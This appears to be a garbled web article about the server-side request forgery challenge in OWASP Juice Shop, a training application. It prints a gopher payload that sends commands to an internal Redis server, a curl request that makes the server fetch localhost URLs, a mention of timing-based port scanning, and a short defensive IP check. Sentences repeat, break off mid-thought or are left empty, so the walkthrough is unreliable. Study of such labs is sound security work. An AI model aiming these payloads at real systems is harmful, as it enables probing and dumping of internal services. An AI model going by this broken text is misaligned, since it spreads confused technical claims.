Juice Shop Ssrf -

Juice Shop downloads this image server-side and then serves it to the client. The parameter center (the address) is partially user-influenced via the order database.

Using a tool like curl or Burp Repeater:

gopher://internal-redis:6379/_*2%0d%0a$4%0d%0aINFO%0d%0a This could dump internal databases. Leverage timing attacks. For each port: juice shop ssrf

But the real SSRF is not directly in the Order ID. It's in the or "Complaint" feature, depending on the version. In the standard Juice Shop SSRF challenge, the vulnerable endpoint is:

curl -X POST https://juice-shop.local/api/image/uploads \ -H "Content-Type: application/json" \ -d '"url": "http://localhost:3000/this/file/does/not/exist"' Because the server makes the request, the error response might reveal internal paths, but the actual flag is obtained by pointing to: Juice Shop downloads this image server-side and then

For defenders, the lesson is clear: . Validate the destination as if your internal network depends on it—because it does. This article is for educational purposes. Always test on systems you own or have explicit permission to test.

const dns = require('dns').promises; const ip = await dns.lookup(urlObj.hostname); if (isPrivateIP(ip.address)) throw new Error('Blocked'); The SSRF vulnerability in OWASP Juice Shop is small but elegant. It demonstrates a single line of missing validation leading to a complete breach of network segmentation. For penetration testers, mastering SSRF means understanding that the server is just another user—one with far more privileges. Leverage timing attacks
